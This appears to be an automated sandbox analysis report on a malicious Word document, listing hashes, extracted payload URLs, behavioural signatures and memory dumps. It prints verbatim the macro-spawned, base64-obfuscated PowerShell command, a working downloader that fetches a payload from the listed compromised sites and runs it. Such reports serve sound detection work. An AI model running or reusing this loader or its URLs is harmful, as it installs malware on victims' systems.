Analysis
-
max time kernel
105s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
22-05-2022 05:24
Static task
static1
Behavioral task
behavioral1
Sample
fduomqnc.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
fduomqnc.doc
Resource
win10v2004-20220414-en
General
-
Target
fduomqnc.doc
-
Size
216KB
-
MD5
80f78062c11932ae00aa14f7a96a12a9
-
SHA1
d953f5005efbd1be81c3c0a119428f098fb197fe
-
SHA256
1c0e6f262dbb5daaeb5d55f21b3dcaf2eb946ddc39b326e4a7e7c1399e314c68
-
SHA512
b762249a76643ce0c3b04c219b9034d5e285f0bcc90c0ff90c1e43bead26faa0a8078482760b33d2e72aec202d8428525a884c8bd0bb90f307967481059312f6
Malware Config
Extracted
http://aboveandbelow.com.au/cgi-bin/Lbi20Tu/
https://amacshowerscreens.com.au/wp-includes/K5/
http://athleteacademy.net/wp-admin/VDDlV/
http://www.jayamelectronics.com/assets/TwgdI/
http://intelligence.com.sg/registration/JGX3I/
http://sorvetesbrotinho.com.br/novo/8edJm/
http://printed.com.mx/fonts/E6a/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2064 4552 powersheLL.exe -
Blocklisted process makes network request 13 IoCs
Processes:
powersheLL.exeflow pid process 20 2064 powersheLL.exe 23 2064 powersheLL.exe 25 2064 powersheLL.exe 26 2064 powersheLL.exe 28 2064 powersheLL.exe 34 2064 powersheLL.exe 35 2064 powersheLL.exe 37 2064 powersheLL.exe 39 2064 powersheLL.exe 41 2064 powersheLL.exe 42 2064 powersheLL.exe 49 2064 powersheLL.exe 60 2064 powersheLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2416 WINWORD.EXE 2416 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powersheLL.exepid process 2064 powersheLL.exe 2064 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 2064 powersheLL.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2416 WINWORD.EXE 2416 WINWORD.EXE 2416 WINWORD.EXE 2416 WINWORD.EXE 2416 WINWORD.EXE 2416 WINWORD.EXE 2416 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fduomqnc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABQADMAZAA4ADQAbgBpAD0AKAAnAFUAJwArACgAJwBmACcAKwAnADAAbQB3ACcAKwAnAHIAbAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAdABFAG0AcABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQBSAEUAQwB0AG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAQwBgAFUAcgBpAGAAVABZAFAAUgBPAFQATwBjAGAAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAMQAyACcAKwAnACwAIAAnACkAKwAnAHQAbAAnACsAJwBzADEAJwArACgAJwAxACwAJwArACcAIAB0ACcAKQArACcAbABzACcAKQA7ACQARQBsAHYAOQBmAGcAZwAgAD0AIAAoACgAJwBTAGsAcwAyACcAKwAnAGMAJwApACsAJwAxACcAKwAnADcAJwApADsAJABLAGwAMgA3AHgAOQB2AD0AKAAnAEYAcAAnACsAKAAnAGUAcAAnACsAJwBwADgAJwApACsAJwAzACcAKQA7ACQATQA2AGgANwBkAGsAOAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAwAH0AdwBvAHIAJwArACcAZAB7ADAAfQAnACsAJwAyACcAKwAnADAAMQA5AHsAMAB9ACcAKQAgAC0ARgBbAGMASABhAHIAXQA5ADIAKQArACQARQBsAHYAOQBmAGcAZwArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFEAYwBkADkAbQB2ADkAPQAoACcAQQAnACsAKAAnAGoAagAnACsAJwA3AHkAcQAnACkAKwAnAGIAJwApADsAJABWAHMANgBfAHYAagB2AD0AJgAoACcAbgAnACsAJwBlAHcAJwArACcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcARQBCAGMAbABpAGUAbgB0ADsAJABPAG0ANgA5AGgAaQA2AD0AKAAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBhAGIAbwB2AGUAYQAnACsAJwBuACcAKwAnAGQAJwArACcAYgAnACsAJwBlAGwAbwAnACkAKwAoACcAdwAnACsAJwAuAGMAbwAnACsAJwBtAC4AYQAnACkAKwAoACcAdQAnACsAJwAvAGMAJwApACsAKAAnAGcAaQAtAGIAaQAnACsAJwBuACcAKwAnAC8ATABiACcAKwAnAGkAJwApACsAKAAnADIAJwArACcAMABUAHUALwAqAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAKAAnAGEAbQAnACsAJwBhACcAKwAnAGMAcwBoAG8AJwApACsAJwB3AGUAJwArACgAJwByAHMAYwByACcAKwAnAGUAJwApACsAJwBlACcAKwAoACcAbgBzACcAKwAnAC4AJwApACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC4AJwApACsAJwBhAHUAJwArACcALwB3ACcAKwAoACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAJwApACsAKAAnAHUAZAAnACsAJwBlAHMALwAnACkAKwAoACcASwA1AC8AJwArACcAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AYQAnACkAKwAnAHQAJwArACcAaABsACcAKwAoACcAZQB0ACcAKwAnAGUAJwApACsAKAAnAGEAYwBhACcAKwAnAGQAJwApACsAKAAnAGUAbQAnACsAJwB5AC4AbgBlACcAKwAnAHQAJwApACsAKAAnAC8AdwAnACsAJwBwACcAKQArACgAJwAtACcAKwAnAGEAZABtAGkAJwArACcAbgAvAFYARABEACcAKQArACgAJwBsACcAKwAnAFYALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAoACcALwB3ACcAKwAnAHcAdwAuAGoAJwArACcAYQAnACkAKwAoACcAeQBhAG0AZQBsACcAKwAnAGUAJwArACcAYwAnACkAKwAnAHQAJwArACcAcgAnACsAKAAnAG8AJwArACcAbgBpAGMAcwAuACcAKwAnAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAGEAJwArACcAcwBzAGUAdAAnACsAJwBzAC8AVAAnACkAKwAnAHcAZwAnACsAJwBkACcAKwAnAEkAJwArACgAJwAvACcAKwAnACoAaAB0AHQAcAAnACkAKwAnADoALwAnACsAKAAnAC8AJwArACcAaQBuAHQAJwArACcAZQBsAGwAaQAnACkAKwAoACcAZwBlACcAKwAnAG4AYwBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC4AcwAnACkAKwAnAGcALwAnACsAJwByACcAKwAoACcAZQAnACsAJwBnAGkAcwAnACkAKwAoACcAdAByACcAKwAnAGEAdABpACcAKQArACgAJwBvACcAKwAnAG4ALwAnACkAKwAnAEoARwAnACsAJwBYACcAKwAoACcAMwBJACcAKwAnAC8AKgBoACcAKQArACcAdAAnACsAKAAnAHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AcwAnACsAJwBvACcAKwAnAHIAdgAnACkAKwAoACcAZQB0AGUAJwArACcAcwBiAHIAbwAnACkAKwAnAHQAaQAnACsAKAAnAG4AaAAnACsAJwBvAC4AJwApACsAJwBjAG8AJwArACcAbQAuACcAKwAnAGIAJwArACgAJwByAC8AJwArACcAbgAnACsAJwBvAHYAbwAvADgAZQBkACcAKwAnAEoAbQAvACoAaAB0AHQAcAA6ACcAKwAnAC8AJwArACcALwAnACkAKwAnAHAAcgAnACsAKAAnAGkAbgAnACsAJwB0ACcAKQArACgAJwBlAGQALgAnACsAJwBjACcAKQArACgAJwBvAG0ALgBtACcAKwAnAHgALwBmACcAKQArACcAbwBuACcAKwAoACcAdAAnACsAJwBzAC8ARQAnACsAJwA2AGEALwAnACkAKQAuACIAcwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYADUAcwBzAHcAbQBzAD0AKAAnAE8AJwArACgAJwAzACcAKwAnAGUAZwBtADcAOAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEoAbgB0ADIAaABzADQAIABpAG4AIAAkAE8AbQA2ADkAaABpADYAKQB7AHQAcgB5AHsAJABWAHMANgBfAHYAagB2AC4AIgBEAE8AVwBOAEwAYABvAEEAYABEAGAARgBpAGwAZQAiACgAJABKAG4AdAAyAGgAcwA0ACwAIAAkAE0ANgBoADcAZABrADgAKQA7ACQATQBvAGUAXwB3ADkAOQA9ACgAKAAnAEoAYgA3AG4AJwArACcAeQB6ACcAKQArACcAcwAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQATQA2AGgANwBkAGsAOAApAC4AIgBsAGAARQBuAGcAVABIACIAIAAtAGcAZQAgADMANQAyADAAMQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABNADYAaAA3AGQAawA4ACkAOwAkAEYAdAB2AG8AawB0AGsAPQAoACgAJwBHAG4AJwArACcAdQAnACsAJwBxADMAbgAnACkAKwAnAGUAJwApADsAYgByAGUAYQBrADsAJABMAG8AawBsAGIAawA5AD0AKAAnAFEAJwArACgAJwBlAHUAJwArACcAcgAnACkAKwAoACcAZQBnACcAKwAnADcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAMwBkAG0AbABvAGgAPQAoACcAVgBwACcAKwAoACcAbwAnACsAJwB2AG4AbwAnACkAKwAnAHcAJwApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2064-138-0x000001EFFDED0000-0x000001EFFDEF2000-memory.dmpFilesize
136KB
-
memory/2064-139-0x00007FFAFD170000-0x00007FFAFDC31000-memory.dmpFilesize
10.8MB
-
memory/2416-133-0x00007FFAE8AD0000-0x00007FFAE8AE0000-memory.dmpFilesize
64KB
-
memory/2416-130-0x00007FFAE8AD0000-0x00007FFAE8AE0000-memory.dmpFilesize
64KB
-
memory/2416-134-0x00007FFAE8AD0000-0x00007FFAE8AE0000-memory.dmpFilesize
64KB
-
memory/2416-135-0x00007FFAE68C0000-0x00007FFAE68D0000-memory.dmpFilesize
64KB
-
memory/2416-136-0x00007FFAE68C0000-0x00007FFAE68D0000-memory.dmpFilesize
64KB
-
memory/2416-137-0x000001F9CB280000-0x000001F9CB284000-memory.dmpFilesize
16KB
-
memory/2416-132-0x00007FFAE8AD0000-0x00007FFAE8AE0000-memory.dmpFilesize
64KB
-
memory/2416-131-0x00007FFAE8AD0000-0x00007FFAE8AE0000-memory.dmpFilesize
64KB
-
memory/2416-141-0x00007FFAE8AD0000-0x00007FFAE8AE0000-memory.dmpFilesize
64KB
-
memory/2416-142-0x00007FFAE8AD0000-0x00007FFAE8AE0000-memory.dmpFilesize
64KB
-
memory/2416-143-0x00007FFAE8AD0000-0x00007FFAE8AE0000-memory.dmpFilesize
64KB
-
memory/2416-144-0x00007FFAE8AD0000-0x00007FFAE8AE0000-memory.dmpFilesize
64KB